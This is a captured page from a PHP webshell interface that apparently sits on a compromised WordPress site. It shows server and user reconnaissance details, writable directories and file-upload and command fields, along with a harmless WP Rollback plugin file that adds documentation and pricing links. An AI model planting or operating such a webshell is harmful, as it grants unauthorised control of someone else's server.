403Webshell
Server IP : 104.26.4.103  /  Your IP : 216.73.216.4
Web Server : nginx/1.27.1
System : Linux in-5 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : arabianexpress ( 1872)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v9321/rimskannur/public_html/wp-content/plugins/wp-rollback/src/PluginSetup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v9321/rimskannur/public_html/wp-content/plugins/wp-rollback/src/PluginSetup/PluginMeta.php
<?php

/**
 * This is used to add plugin row meta-links.
 *
 * @package WpRollback\PluginSetup
 * @since 3.0.0
 */

declare(strict_types=1);

namespace WpRollback\Free\PluginSetup;

use WpRollback\Free\Core\Constants;
use WpRollback\SharedCore\Core\SharedCore;

/**
 * @since 3.0.0
 */
class PluginMeta
{
    /**
     * Adds a link in the wider column. Typically used to add docs and support plugin row meta-links.
     *
     * @since 3.0.0
     */
    public static function addPluginRowMeta(array $pluginMeta, string $pluginFile): array
    {
        $constants = SharedCore::container()->make(Constants::class);
        
        if ($constants->getBasename() !== $pluginFile) {
            return $pluginMeta;
        }

        $newMetaLinks = [
            sprintf(
                '<a href="%1$s" target="_blank">%2$s</a>',
                esc_url(
                    add_query_arg(
                        [
                            'utm_source'   => 'plugins-page',
                            'utm_medium'   => 'plugin-row',
                            'utm_campaign' => 'admin',
                        ],
                        'https://wprollback.com/documentation/'
                    )
                ),
                esc_html__('Documentation', 'wp-rollback')
            ),
            sprintf(
                '<a href="%1$s" target="_blank">%2$s</a>',
                esc_url(
                    add_query_arg(
                        [
                            'utm_source'   => 'plugins-page',
                            'utm_medium'   => 'plugin-row',
                            'utm_campaign' => 'admin',
                        ],
                        'https://wprollback.com/support/'
                    )
                ),
                esc_html__('Support', 'wp-rollback')
            ),
            sprintf(
                '<a href="%1$s" target="_blank" style="color: #6d28d9; font-weight: bold;">%2$s</a>',
                esc_url(
                    add_query_arg(
                        [
                            'utm_source'   => 'plugins-page',
                            'utm_medium'   => 'plugin-row',
                            'utm_campaign' => 'admin',
                        ],
                        'https://wprollback.com/pricing/'
                    )
                ),
                esc_html__('Go Pro!', 'wp-rollback')
            ),
        ];

        return array_merge($pluginMeta, $newMetaLinks);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit